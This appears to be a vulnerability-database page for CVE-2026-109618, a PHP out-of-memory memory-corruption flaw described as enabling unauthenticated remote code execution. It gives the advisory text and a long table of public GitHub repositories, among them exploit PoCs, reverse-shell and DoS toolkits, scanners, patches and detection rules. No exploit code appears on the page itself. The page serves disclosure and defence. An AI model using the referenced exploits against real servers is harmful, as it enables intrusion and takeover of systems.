CVE-2026-109618
CRITICAL
POC
Pub 21/10
Upd 21/10
Overview
This vulnerability arises from improper handling of out-of-memory (OOM) conditions in PHP's memory management subsystem. Specifically, the use of longjmp() to abort execution upon OOM errors causes certain execution contexts to leave request memory uninitialized prior to allocation. The affected component is PHP's request lifecycle memory allocator and cleanup routines, which do not correctly account for abrupt context termination during OOM scenarios, leading to use-after-free and uninitialized memory access conditions.
Vulnerability Description
PHP uses longjmp() for out-of-memory (OOM) errors to exit the current context and abort handling of the request. Some contexts may not properly account for this scenario and leave request memory in an uninitialized state before performing an allocation. The subsequent request cleanup procedure may read or branch on this memory. Multiple OOM strategies can consistently trigger this condition and lead to remote code execution (RCE).
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the affected PHP server, potentially gaining full control over the system. This includes the ability to execute malicious commands, access sensitive data, and compromise the integrity and confidentiality of hosted applications. The attack requires no user interaction or credentials, making it highly exploitable in exposed environments. Successful exploitation can result in complete system compromise and lateral movement within the network.
Solution
The vendor has released patches addressing this issue in PHP source code as detailed in the advisory GHSA-w8hw-w9fx-j79w available at https://github.com/php/php-src/security/advisories/GHSA-w8hw-w9fx-j79w. Users should upgrade to the fixed PHP versions specified in the advisory. No alternative workarounds are recommended; applying the vendor-supplied patches is the only effective remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
P
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
P
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
P
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
|
P
|
Php | Php | All |
cpe:2.3:a:php:php:*:*:*:*:*:*:*:*
|
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk.
Learn more
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (313)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
ikow/php2shell-poc
CVE-2026-109618/109619 — 5 RCE chains + detection rules (Suricata, Sigma, ModSecurity). PHP session.upload_progress pre-...
|
ikow | 1250 | 457 | 2026-10-21 | View |
|
eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC
Proof-of-Concept (PoC) exploit for php2shell (CVE-2026-109618 / CVE-2026-109619), demonstrating remote code execution in...
|
eness | 725 | 155 | 2026-10-21 | View |
|
junaire/CVE-2026-109618-exploit
|
junaire | 105 | 69 | 2026-10-21 | View |
|
syrex1013/php2shell
CVE-2026-109618/109619 PoC — PHP session.upload_progress heap use-after-free (CVSS 9.2)
|
syrex1013 | 65 | 44 | 2026-10-21 | View |
|
JoasASantos/php2shell-scanner
Non-destructive scanner for CVE-2026-109618 / CVE-2026-109619 (PHP core RCE). Subdomain recon via crt.sh + subfinder, ro...
|
JoasASantos | 76 | 27 | 2026-10-21 | View |
|
Zer061/CVE-2026-109618
PoC CVE-2026-109618 / -109619 (PHP session.upload_progress heap UAF)
|
Zer061 | 60 | 43 | 2026-10-21 | View |
|
assetnote/php2shell-scanner
High fidelity scanner for php2shell (CVE-2026-109618 and CVE-2026-109619)
|
assetnote | 73 | 9 | 2026-10-22 | View |
|
syhunt/php2shell-protection
Emergency Apache mitigation and testing toolkit for php2shell (CVE-2026-109618 / CVE-2026-109619), featuring multipart P...
|
syhunt | 66 | 7 | 2026-10-21 | View |
|
HOSTED-POWER/php_uploadprogress_guard
Protects an unpatched PHP against php2shell (CVE-2026-109618 / CVE-2026-109619): a small extension that mirrors the offi...
|
HOSTED-POWER | 64 | 5 | 2026-10-21 | View |
|
enactive-systems/CVE-2026-109618-poc
|
enactive-systems | 36 | 13 | 2026-10-21 | View |
|
Is4yev/php2shell-poc
CVE-2026-109618/109619 PHP2Shell — Heap UAF PoC (crash + RCE framework)
|
Is4yev | 33 | 16 | 2026-10-21 | View |
|
murrez/php2shell
PoC for CVE-2026-109618 / CVE-2026-109619 (php2shell): PHP session.upload_progress UAF. check = GET fingerprint + bulk J...
|
murrez | 31 | 13 | 2026-10-21 | View |
|
wakemeiflose/php2shell
CVE-2026-109618 / CVE-2026-109619 — PHP session.upload_progress RCE PoC & Vulnerable Lab
|
wakemeiflose | 25 | 10 | 2026-10-21 | View |
|
0x4148/CVE-2026-109618-php2shell-lab
PHP2Shell (CVE-2026-109618 / CVE-2026-109619) Docker lab and PoC. Use-After-Free in PHP's session.upload_progress.
|
0x4148 | 21 | 13 | 2026-10-21 | View |
|
xuehuolll/php2shell-CVE-2026-109618-109619
CVE-2026-109618/109619 — PHP session.upload_progress pre-auth RCE. Exploit research: remote ASLR chain, PoC & patch anal...
|
xuehuolll | 20 | 13 | 2026-10-21 | View |
|
pentestershell/php2shellbt
Python scanner for CVE-2026-109618, CVE-2026-109619 and the php2shell session chains (handler mismatch + LFI). No extern...
|
pentestershell | 26 | 6 | 2026-10-21 | View |
|
mikensec/php2shell-lab
Offline, reproducible lab to safely analyse an untrusted PoC for CVE-2026-109618/109619 and build detection rules. No ex...
|
mikensec | 21 | 9 | 2026-10-21 | View |
|
Anton-Barinov/php2shell-patches
php2shell (CVE-2026-109618/CVE-2026-109619) emergency patches for old PHP 5.6/7.x/8.0/8.1 — official + community backpor...
|
Anton-Barinov | 28 | 2 | 2026-10-21 | View |
|
godylockz/cve-2026-109618-php2shell
Proof of concept for CVE-2026-109618/CVE-2026-109619: PHP2Shell
|
godylockz | 16 | 10 | 2026-10-21 | View |
|
david-alvarez-rosa/php-rce
Exploits for CVE-2026-109618 / CVE-2026-109619 to achieve RCE on PHP targets
|
david-alvarez-rosa | 20 | 6 | 2026-10-21 | View |
|
Qsnh/php2shell-fixed
宝塔面板（BT Panel）上已停止维护的 PHP 版本（7.0 – 8.1）的 PHP2Shell（CVE-2026-109618 / CVE-2026-109619）修复包。仓库里有打好补丁的源码包，以及一键完成编译、替换、回滚的脚本。
|
Qsnh | 23 | 0 | 2026-10-22 | View |
|
0xrsydn/php2shell-scan
Reachability + change detector for the php2shell PHP RCEs (CVE-2026-109618 / CVE-2026-109619). Agent-ready, stdlib only,...
|
0xrsydn | 14 | 5 | 2026-10-21 | View |
|
mpyw/php-eol-CVE-2026-109618-109619
PHP 7.4 / 8.0 / 8.1 Docker images with the CVE-2026-109618 / CVE-2026-109619 fix backported
|
mpyw | 17 | 2 | 2026-10-21 | View |
|
vperetti/php-cve-2026-109618-109619-backports
Minimal source backports of the PHP core RCE fixes (CVE-2026-109618 / CVE-2026-109619) for EOL PHP 5.4 and 7.3
|
vperetti | 13 | 5 | 2026-10-21 | View |
|
Whackermelon/Php2Shell-POC
Pre-auth remote code execution & reverse shell PoC for CVE-2026-109618 / CVE-2026-109619 - PHP core session upload-progr...
|
Whackermelon | 13 | 4 | 2026-10-21 | View |
|
kuwoo/php2shell-Lab
🐘 php2shell（CVE-2026-109618 / CVE-2026-109619）复现靶场 — session.upload_progress 文件名注入 + LFI → RCE，Docker 一键启动，附中文原理分析与 PoC
|
kuwoo | 15 | 2 | 2026-10-21 | View |
|
WoYinDao/CVE-2026-109618-CVSS-9.2-Critical
PHP CVE-2026-109618/-109619 research archive — default-128M full-chain RCE, Chain B var_destroy UAF alive on 8.4.27, off...
|
WoYinDao | 7 | 3 | 2026-10-21 | View |
|
slabbdev/php2shell-cve-2026-109618-109619
Local-only PoC lab for CVE-2026-109618 / CVE-2026-109619 (php2shell) — two critical RCEs in PHP core, session.upload_pro...
|
slabbdev | 8 | 1 | 2026-10-21 | View |
|
zhaoboy9692/CVE-2026-109618_
|
zhaoboy9692 | 0 | 9 | 2026-10-21 | View |
|
ersinkoc/php-fix
One-line mitigation for php2shell (CVE-2026-109618 / CVE-2026-109619): disables session.upload_progress across all PHP i...
|
ersinkoc | 5 | 3 | 2026-10-21 | View |
|
mnk-works/php2shell-verify
Independent verification lab + PoCs: PHP session.upload_progress pre-auth RCE chains (CVE-2026-109618/109619)
|
mnk-works | 5 | 3 | 2026-10-21 | View |
|
PasqualePillitteri/php2shell-hardening
Mitigations for PHP installs that cannot update yet: CVE-2026-109618 / CVE-2026-109619 (php2shell). Edge rules, auth bef...
|
PasqualePillitteri | 6 | 1 | 2026-10-21 | View |
|
Amsozzer1/php2shell-repo-audit
php2shell (CVE-2026-109618, CVE-2026-109619) repo audit, CLI and GitHub Action, no server access. Lists the PHP versions...
|
Amsozzer1 | 6 | 0 | 2026-10-21 | View |
|
izdir/php-security-patcher
Script para parchear PHP y verificar versión antes/después — nacido del incidente CVE-2026-109618/109619
|
izdir | 5 | 0 | 2026-10-21 | View |
|
break-the-build/php-multipart-waf-signals
Observation-only WAF/IDS signals for selected PHP multipart request shapes relevant to CVE-2026-109618/109619; not explo...
|
break-the-build | 4 | 1 | 2026-10-21 | View |
|
Stonlifer/php2shell
CVE-2026-109618 / CVE-2026-109619 — unauthenticated RCE in PHP's session.upload_progress handler (CVSS 9.2). Reproducibl...
|
Stonlifer | 3 | 1 | 2026-10-21 | View |
|
waksboy/fixed-fpm-cve-2026-109618-and-109619-images
Patches, Docker images and proofs for CVE-2026-109618 / CVE-2026-109619 on PHP 5.0 to 8.1 without an official release
|
waksboy | 4 | 0 | 2026-10-21 | View |
|
bagusindrayana/php-vuln-scan
scan and fix php version affected by CVE-2026-109618 and CVE-2026-109619
|
bagusindrayana | 3 | 1 | 2026-10-21 | View |
|
HackSpeak/CVE-2026-109618
PHP session.upload_progress attack-surface PoC/verification toolkit (php2shell claims, CVE-2026-109618/109619); for auth...
|
HackSpeak | 3 | 1 | 2026-10-21 | View |
|
CyberRoute/php2shell-scanner
scanner for CVE-2026-109618 / CVE-2026-109619
|
CyberRoute | 3 | 1 | 2026-10-21 | View |
|
hypnguyen1209/php2shell
CVE-2026-109618 / CVE-2026-109619 Pre-auth RCE through PHP (session.upload_progress)
|
hypnguyen1209 | 4 | 0 | 2026-10-21 | View |
|
mahumadad/php2shell-analysis
Working RCE exploit, IDS/WAF detection rules (Suricata, ModSecurity, Sigma, Cloudflare), Docker lab, and full analysis f...
|
mahumadad | 2 | 2 | 2026-10-21 | View |
|
Felix3322/PHP-uniDoS
PHP CVE-2026-109618/CVE-2026-109619 universal DoS attack toolkit
|
Felix3322 | 3 | 1 | 2026-10-21 | View |
|
alvarodh5/php2shell
ASLR-bypassing RCE PoC for PHP's session.upload_progress chain (CVE-2026-109618 / CVE-2026-109619). Single file, no gdb,...
|
alvarodh5 | 2 | 1 | 2026-10-21 | View |
|
alham-rizvi/php2shell-scanner
GO based scanner for PHP2SHELL(CVE-2026-109618 and CVE-2026-109619)
|
alham-rizvi | 3 | 0 | 2026-10-22 | View |
|
exception0x876/php74-el7-patched
Unofficial PHP 7.4.33 RPMs for CentOS 7/EL7 with the PHP2Shell (CVE-2026-109618/109619) mitigation
|
exception0x876 | 3 | 0 | 2026-10-21 | View |
|
kamalmjt/PHP2SHELL-Patch
Remediation scripts for PHP2Shell vulnerabilities CVE-2026-109618 and CVE-2026-109619, targeting HestiaCP and Plesk envi...
|
kamalmjt | 3 | 0 | 2026-10-21 | View |
|
Marven11/PHP2Shell-PoC
The PoC of CVE-2026-109618 and CVE-2026-109619
|
Marven11 | 2 | 1 | 2026-10-21 | View |
|
cyberkiddle/CVE-2026-109618
The vulneurability causes RCE ending
|
cyberkiddle | 2 | 1 | 2026-10-21 | View |
|
gputier/php-rfc1867-guard
PHP extension that makes the php2shell session upload-progress handler (CVE-2026-109618 / CVE-2026-109619) unreachable, ...
|
gputier | 3 | 0 | 2026-10-21 | View |
|
Nayrae/CVE-2026-109618
A working PoC of the PHP2Shell exploit
|
Nayrae | 3 | 0 | 2026-10-21 | View |
|
revonnet/php-fix
Emergency mitigation for php2shell (CVE-2026-109618 / CVE-2026-109619) - Author: Revonnet EOOD
|
revonnet | 3 | 0 | 2026-10-21 | View |
|
AmpedWasTaken/PHP2Shell-CVE-2026-109618-CVE-2026-109619
|
AmpedWasTaken | 2 | 1 | 2026-10-21 | View |
|
yetDevs/php2shell-triage
PHP estate triage for CVE-2026-109618 / CVE-2026-109619: inventory, Plesk audit, child-process detection. No exploit cod...
|
yetDevs | 1 | 2 | 2026-10-21 | View |
|
Blue-B/php2shell-guard
Check, block and hunt for php2shell (CVE-2026-109618 / CVE-2026-109619): PHP version scan with distro backport check, te...
|
Blue-B | 3 | 0 | 2026-10-21 | View |
|
Bhavye-Malhotra/php2shell-2026
PHP2Shell (CVE-2026-109618 and CVE-2026-109619)
|
Bhavye-Malhotra | 3 | 0 | 2026-10-21 | View |
|
scadastrangelove/php2shell
php2shell defense tools. safechecks, suricata/snort rules, mod_sec for CVE-2026-109618 and CVE-2026-109619
|
scadastrangelove | 1 | 1 | 2026-10-21 | View |
|
Sol0-dev/php2shell
PHP2Shell - CVE-2026-109618/109619 session.upload_progress UAF PoC - multi-target RCE chain - created by 0verDo$ed
|
Sol0-dev | 2 | 0 | 2026-10-22 | View |
|
pattingbabies/php2shell-CVE-2026-109618-109619
Full 1:1 reproduction of php2shell (CVE-2026-109618 / CVE-2026-109619): pre-auth PHP RCE via session.upload_progress OOM...
|
pattingbabies | 2 | 0 | 2026-10-22 | View |
|
open0x01/php2shell
CVE-2026-109618 / CVE-2026-109619 PHP PoC and exploit tool (single-file Go)
|
open0x01 | 2 | 0 | 2026-10-22 | View |
|
adityaaravind/php2shell-check
Read-only exposure checker for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). No exploit code.
|
adityaaravind | 2 | 0 | 2026-10-22 | View |
|
BoheSama1999/php2shell-exp
Patch-derived PoC and RCE for the PHP session upload-progress pre-RINIT decode (CVE-2026-109618/109619)
|
BoheSama1999 | 2 | 0 | 2026-10-22 | View |
|
geforester/php7.4-focal-php2shell
php7.4 7.4.33-31 (Surý) with php2shell fix CVE-2026-109618/109619, rebuilt for Ubuntu 20.04 focal amd64 — all 38 package...
|
geforester | 2 | 0 | 2026-10-21 | View |
|
1amrahul/php2shell-cve-2026-109618-cve-2026-109619
Independent verification of CVE-2026-109618 & CVE-2026-109619 (php2shell): kernel-proven session-lock-leak DoS on PHP 8....
|
1amrahul | 2 | 0 | 2026-10-21 | View |
|
mirrored-projects/PHP74-Windows-CVE2026
PHP 7.4 for Windows with CVE-2026-109618 / CVE-2026-109619-Backport
|
mirrored-projects | 2 | 0 | 2026-10-21 | View |
|
gumerzzzindo/php2shell-CVE-2026-109618-109619
Crónica y PoC del patch-day de PHP (21-oct-2026): CVE-2026-109618 / CVE-2026-109619 — RCE pre-auth en mod_php. Primitiva...
|
gumerzzzindo | 2 | 0 | 2026-10-21 | View |
|
nirzadokox/php2shell-vulnerability-check-for-CVE-2026-109618-CVE-2026-109619
vulnerability check for CVE-2026-109618 / CVE-2026-109619
|
nirzadokox | 1 | 1 | 2026-10-21 | View |
|
TREXNEGRO/php2shell
CVE-2026-109618/109619: PHP session.upload_progress Heap UAF — Detection & 8-chain RCE exploitation framework
|
TREXNEGRO | 2 | 0 | 2026-10-21 | View |
|
msoni11/msphp2shell
Free, read-only checker for PHP2Shell (CVE-2026-109618 / CVE-2026-109619). Finds every PHP build, detects vendor back-po...
|
msoni11 | 2 | 0 | 2026-10-21 | View |
|
ivanscm/php80-cve-2026-109618
PHP 8.0.30 backport for CVE-2026-109618 / CVE-2026-109619 (Remi php80, EL7 RPMs)
|
ivanscm | 2 | 0 | 2026-10-21 | View |
|
jf0x3f/php2shell-pocs
Local Docker trigger reproductions for PHP CVE-2026-109618 and CVE-2026-109619 advisories
|
jf0x3f | 2 | 0 | 2026-10-21 | View |
|
AsviS/PHP2Shell
CVE-2026-109618/109619 PHP session.upload_progress Exploit Research — POC & Analysis
|
AsviS | 2 | 0 | 2026-10-21 | View |
|
cloudducoeur/ansible-playbook-CVE-2026-109618
Temp fix with Ansible (CVE-2026-109618/CVE-2026-109619)
|
cloudducoeur | 2 | 0 | 2026-10-21 | View |
|
Galeax/PHP2Shell-Mitigations
Mitigations Windows et Linux pour PHP2Shell (CVE-2026-109618 et CVE-2026-109619)
|
Galeax | 2 | 0 | 2026-10-21 | View |
|
cm-suzuki-ryo/aws-waf-php2shell-post-guard
AWS WAF (REGIONAL) CloudFormation sample for ALB: block POST from outside Japan, rate-limit POST per IP and per TLS JA...
|
cm-suzuki-ryo | 2 | 0 | 2026-10-21 | View |
|
allureluoli/php2shell-lab
php2shell (CVE-2026-109618/619) differential lab: ASAN builds of PHP 8.4.26 vs 8.4.27, one two-request trigger, automati...
|
allureluoli | 2 | 0 | 2026-10-21 | View |
|
Chrishow2/php74-apache-sury
Debian/Apache mod_php + Sury PHP 7.4 with php2shell EOL mitigation (CVE-2026-109618 / 109619). Bridge for legacy apps. P...
|
Chrishow2 | 2 | 0 | 2026-10-21 | View |
|
corelight/php2shell-detect
Zeek and Suricata Detections for "php2shell" CVE-2026-109618 and CVE-2026-109619
|
corelight | 1 | 1 | 2026-10-18 | View |
|
cereZ23/php-up-2026
PHP session.upload_progress UAF validation bundle (presumed CVE-2026-109618 / CVE-2026-109619) — authorized defensive-re...
|
cereZ23 | 1 | 1 | 2026-10-21 | View |
|
orbitron-ai/php2shell-response-kit
php2shell response kit. (CVE-2026-109618 / CVE-2026-109619)
|
orbitron-ai | 1 | 1 | 2026-10-21 | View |
|
lzz0403/CVE-2026-109618-PHP2Shell-poc
PHP 8.2.6 + Apache mod_php
|
lzz0403 | 2 | 0 | 2026-10-21 | View |
|
zerbaliy3v/php2shell-CVE-2026-109618-CVE-2026-109619-Dorks
PHP2Shell PHP CVE-2026-109618 and CVE-2026-109619 dorks
|
zerbaliy3v | 1 | 1 | 2026-10-21 | View |
|
WeaveHubHQ/cf-waf-bypass-check
Read-only audit that finds Cloudflare WAF rules that skip, disable, or downgrade Cloudflare Managed Rules (php2shell CVE...
|
WeaveHubHQ | 2 | 0 | 2026-10-21 | View |
|
nukIeer/CVE-2026-109618-109619-checker
Passive PHP version checker for CVE-2026-109618 / CVE-2026-109619 (php2shell)
|
nukIeer | 0 | 1 | 2026-10-21 | View |
|
bladehstream/php2shell_detect
Non destructive scanner for PHP instances vulnerable to CVE-2026-109618 and CVE-2026-109619
|
bladehstream | 0 | 1 | 2026-10-21 | View |
|
basesixtythree/B63-POC-CVE-2026-109618
PoC and verification material for CVE-2026-109618 (PHP OOM bailout state corruption)
|
basesixtythree | 0 | 1 | 2026-10-21 | View |
|
xbuddhi/php2shell-fix
Find every PHP install on a server (distro packages, aaPanel/DirectAdmin/source builds) and fix CVE-2026-109618 / CVE-20...
|
xbuddhi | 1 | 0 | 2026-10-22 | View |
|
aduli198/CVE-2026-109618_CVE-2026-109619
PoC for PHP2Shell (CVE-2026-109618 / CVE-2026-109619) zero-depndency, pre-auth RCE via a use-after-free in PHP's sessio...
|
aduli198 | 1 | 0 | 2026-10-22 | View |
|
valentin-marquez/php
Backport del fix oficial de CVE-2026-109618 / CVE-2026-109619 (RCE no autenticada de PHP) a ramas EOL 5.4 a 8.1
|
valentin-marquez | 1 | 0 | 2026-10-22 | View |
|
Sanal-Lince/PHP-Shell-v0.1
PHP-Shell is a local-first, wizard-driven passive black-box assessment prototype for PHP runtime exposure to CVE-2026-10...
|
Sanal-Lince | 1 | 0 | 2026-10-22 | View |
|
niemingxing/php73-php2shell-patch
Unofficial security patch for PHP 7.3 (EOL) fixing PHP2Shell RCE — CVE-2026-109618 & CVE-2026-109619. Backported from th...
|
niemingxing | 1 | 0 | 2026-10-22 | View |
|
absholi7ly/Deep-Technical-Report-CVE-2026-109618-CVE-2026-109619-PHP2Shell
|
absholi7ly | 1 | 0 | 2026-10-22 | View |
|
nesirat/php2shell-guard
Detection, mitigation, patching and fleet automation for the PHP2Shell RCE pair (CVE-2026-109618 / CVE-2026-109619)
|
nesirat | 1 | 0 | 2026-10-21 | View |
|
frnmrls/php70-cve-2026-backport
Unofficial minimal source backport of CVE-2026-109618 and CVE-2026-109619 (php2shell) for PHP 7.0.33
|
frnmrls | 1 | 0 | 2026-10-21 | View |
|
exch0-wuz-h3r3/php2shell-response-inspector
Python HTTP/HTTPS response inspection tool for authorized web security research related to PHP2Shell (CVE-2026-109618 an...
|
exch0-wuz-h3r3 | 1 | 0 | 2026-10-21 | View |
|
devploit/php2shell
PHP2Shell: version-aware research toolkit for CVE-2026-109618 / CVE-2026-109619 — pre-auth RCE in PHP session.upload_pro...
|
devploit | 1 | 0 | 2026-10-21 | View |
|
appsec-cz/php-eol-patch
Security patch backports for EOL PHP (7.3/7.4): CVE-2026-109618/109619 full backport, Tier1/Tier2 CVEs. Unofficial, comm...
|
appsec-cz | 1 | 0 | 2026-10-21 | View |
|
arifulislamat/php2shell-audit
Read-only checker for php2shell (CVE-2026-109618 / CVE-2026-109619): audit PHP servers and websites, no exploit payloads
|
arifulislamat | 1 | 0 | 2026-10-21 | View |
|
ginoa79/php56-php2shell-backport
Unofficial backport of the PHP2Shell fixes (CVE-2026-109618, CVE-2026-109619) to PHP 5.6.40 - experimental
|
ginoa79 | 1 | 0 | 2026-10-21 | View |
|
NULL200OK/php2shell-detect
Defensive Detector + Bounded Offensive Impact-Evidence Builder for CVE-2026-109618 / CVE-2026-109619 ("PHP2Shell")
|
NULL200OK | 1 | 0 | 2026-10-21 | View |
|
san3ncrypt3d/php-oom-corruption-lab
Lab, PoC, ASan research and EOL backport for CVE-2026-109618/109619 (PHP OOM state corruption). Defensive research.
|
san3ncrypt3d | 1 | 0 | 2026-10-21 | View |
|
EngOREOO/php2shell-CVE-2026-109618-CVE-2026-109619-PoC
Working local PoC for the php2shell PHP RCE pair (CVE-2026-109618, CVE-2026-109619): unauthenticated remote code executi...
|
EngOREOO | 1 | 0 | 2026-10-21 | View |
|
gkwelding/php2shell-ioc-check
Read-only compromise check for PHP CVE-2026-109618 / CVE-2026-109619 (php2shell) on Ubuntu 24.04 and Amazon Linux 2023
|
gkwelding | 0 | 1 | 2026-10-21 | View |
|
SPOTWHALE/php2shell-check
Check if your servers are affected by or compromised via php2shell (CVE-2026-109618 / CVE-2026-109619)
|
SPOTWHALE | 1 | 0 | 2026-10-21 | View |
|
josemingorance/php74-php2shell-backport-docker
php:7.4-fpm rebuilt from source with the official PHP2Shell backport (CVE-2026-109618 / CVE-2026-109619): the three thin...
|
josemingorance | 0 | 1 | 2026-10-21 | View |
|
denizkoekden/php56-el-backports
PHP 5.6.40 with the deb.sury.org security backports (incl. CVE-2026-109618/109619), rebuilt as RPMs for CentOS/RHEL 6 an...
|
denizkoekden | 0 | 1 | 2026-10-21 | View |
|
imranulbari/php-security-update-helper
The supplied report identifies `CVE-2026-109618` and `CVE-2026-109619` and targets PHP 8.5.12, 8.4.27, 8.3.36, and 8.2.3...
|
imranulbari | 1 | 0 | 2026-10-21 | View |
|
mefulton/CVE-2026-109618-analysis
Non-operational analysis and defensive guidance for CVE-2026-109618 and CVE-2026-109619
|
mefulton | 1 | 0 | 2026-10-21 | View |
|
Fazmin/PHP2Shell-CVE-2026-109618-CVE-2026-109619-Mitigation-Info-PoC
Python monitor for CVE-2026-109618/109619. It covers patching, temporary risk reduction, suspicious PHP-worker child pro...
|
Fazmin | 1 | 0 | 2026-10-21 | View |
|
slabwren/php2shell-detection
Blue-team detection signatures and interim mitigations for php2shell (CVE-2026-109618/109619) PHP pre-auth RCE pair. Det...
|
slabwren | 1 | 0 | 2026-10-21 | View |
|
cseelhoff-ms/php2shell-hunting-pack
Hunting pack for PHP2Shell (CVE-2026-109618/109619): find vulnerable PHP assets and hunt for exploitation with Microsoft...
|
cseelhoff-ms | 1 | 0 | 2026-10-21 | View |
|
cozybear-dev/cve-2026-109618
|
cozybear-dev | 0 | 1 | 2026-10-21 | View |
|
r3c0nd4t4/php2shell-verify
Verification toolkit + source analysis for CVE-2026-109618 / CVE-2026-109619 (php2shell). Reproduces the pre-RINIT uploa...
|
r3c0nd4t4 | 0 | 1 | 2026-10-21 | View |
|
Bulletdev/php2shell-poc
CVE-2026-109618/109619 --- PHP session.upload_progress pre-auth RCE (chain A/B/C)
|
Bulletdev | 0 | 1 | 2026-10-21 | View |
|
EthicalHCOP/php2shell-Simple-Checker
Es un script bastante simple que ayuda a determinar la posibilidad de explotación de la vulnerabilidad php2shell (CVE-2...
|
EthicalHCOP | 1 | 0 | 2026-10-21 | View |
|
fufufuwa/php2shell-detect
Non-destructive detection toolkit + version-differential oracle for PHP2Shell (CVE-2026-109618/109619). Leak oracle veri...
|
fufufuwa | 1 | 0 | 2026-10-21 | View |
|
JohnHansonTheDev/phpreaper
PhpReaper — GUI vulnerability scanner for CVE-2026-109618 / CVE-2026-109619 (PHP session upload progress RCE)
|
JohnHansonTheDev | 1 | 0 | 2026-10-21 | View |
|
cagritopuz/php2shell
php2shell | CVE-2026-109618 & CVE-2026-109619
|
cagritopuz | 1 | 0 | 2026-10-21 | View |
|
unbelievable-digital/is-my-php-pwned
Did php2shell (CVE-2026-109618/109619) already own your servers? One read-only script to find out.
|
unbelievable-digital | 1 | 0 | 2026-10-21 | View |
|
darkfibr/php2shell-detect
Defensive detection toolkit for php2shell (CVE-2026-109618/109619, PHP session.upload_progress UAF): UA-independent shap...
|
darkfibr | 1 | 0 | 2026-10-21 | View |
|
codewizdevs/php2shell-watcher
Cloudflare Worker: edge detection + blocking for PHP session.upload_progress RCE (CVE-2026-109618/109619) with Discord a...
|
codewizdevs | 1 | 0 | 2026-10-21 | View |
|
Stensel8/check-for-CVE-2026-109618-CVE-2026-109619
|
Stensel8 | 1 | 0 | 2026-10-21 | View |
|
silastammerik/php2shell-mitigacao
Mitigação temporária para o php2shell (CVE-2026-109618 / CVE-2026-109619): como desabilitar session.upload_progress no P...
|
silastammerik | 1 | 0 | 2026-10-21 | View |
|
TahuCryptsi/php2shell-check
Local exposure auditor for CVE-2026-109618 / CVE-2026-109619 (PHP session.upload_progress UAF). Answers whether YOUR hos...
|
TahuCryptsi | 1 | 0 | 2026-10-21 | View |
|
RemiPelloux/php-session-upload-progress-uaf
Independent source-level analysis and detection tooling for the PHP session.upload_progress pre-RINIT use-after-free (CV...
|
RemiPelloux | 1 | 0 | 2026-10-21 | View |
|
Poellie01/PHP2Shell-Verification-Script
Read-only verification PoC for CVE-2026-109618 / CVE-2026-109619 (php2shell). Checks PHP patch level remotely across a f...
|
Poellie01 | 1 | 0 | 2026-10-21 | View |
|
goodcoddeo/pterodactyl_PHP-CVE-2026-109618-CVE-2026-109619
Pterodactyl PHP security updater for Ubuntu 24.04 and Debian 12/13. AppliePHP security updates for CVE-2026-109618 and C...
|
goodcoddeo | 1 | 0 | 2026-10-21 | View |
|
julio-romo-muninn/PHP2SHELL
Isolated Docker lab to verify CVE-2026-109618 / CVE-2026-109619 (PHP session.upload_progress cross-request UAF -> RCE)
|
julio-romo-muninn | 1 | 0 | 2026-10-21 | View |
|
Liam-G/php2shell-audit
Non-destructive scanner for CVE-2026-109618 and CVE-2026-109619
|
Liam-G | 1 | 0 | 2026-10-21 | View |
|
al4n4n/php2shell
php2shell 100% work DoS in Wordpress. CVE-2026-109618 and CVE-2026-10961
|
al4n4n | 1 | 0 | 2026-10-21 | View |
|
SamJUK/php2shell-check-cve-2026-109618
Safely verify the October 2026 PHP OOM security fixes by testing patched runtime behaviour
|
SamJUK | 1 | 0 | 2026-10-21 | View |
|
sxyrxyy/php2shell-cve-2026-109618-check
Checks Linux and Windows servers for PHP CVE-2026-109618 / CVE-2026-109619 (php2shell) and offers fixes, asking before e...
|
sxyrxyy | 0 | 1 | 2026-10-21 | View |
|
zenzue/CVE-2026-109618_19
|
zenzue | 0 | 1 | 2026-10-21 | View |
|
ecomyseo/ecom_blockrceflaws
PrestaShop 1.7/8/9 module that mitigates, logs and IP-blocks exploitation attempts of the critical PHP RCE flaws CVE-202...
|
ecomyseo | 1 | 0 | 2026-10-21 | View |
|
mothproof3512/php2shell-scan
No warranties vibecoded scanner for CVE-2026-109618 / CVE-2026-109619
|
mothproof3512 | 0 | 1 | 2026-10-21 | View |
|
Lexsah/php2shell-detection
Detection and mitigation rules for CVE-2026-109618 / CVE-2026-109619 (php2shell). Blue-team only.
|
Lexsah | 1 | 0 | 2026-10-21 | View |
|
BenFerguson310/Cloudflare-PHP2shell-Detections
Log-only Cloudflare WAF rule to detect php2shell (CVE-2026-109618 / CVE-2026-109619) targeting
|
BenFerguson310 | 0 | 0 | 2026-10-22 | View |
|
shivabalaj/CVE-2026-109618
|
shivabalaj | 0 | 0 | 2026-10-22 | View |
|
covertswarmlabs/PHP2Shell-Check
Non-invasive vulnerability assessment for CVE-2026-109618 and CVE-2026-109619.
|
covertswarmlabs | 0 | 0 | 2026-10-22 | View |
|
jejex0/php2shell-scanner
CVE-2026-109618 scanner and authorized RCE verification
|
jejex0 | 0 | 0 | 2026-10-22 | View |
|
ITlusions/ITL.PHP2Shell.Hardening
Compensating controls / virtual-patching Helm chart for PHP CVE-2026-109618 and CVE-2026-109619
|
ITlusions | 0 | 0 | 2026-10-22 | View |
|
llrrzz-111/php2shell-guard
PHP2Shell (CVE-2026-109618/109619) one-click detect & fix tool
|
llrrzz-111 | 0 | 0 | 2026-10-22 | View |
|
suleymanpetek/shadowphp
php2shell, cve-2026-109618, shadow-it, attack-surface, security-tools, python.
|
suleymanpetek | 0 | 0 | 2026-10-22 | View |
|
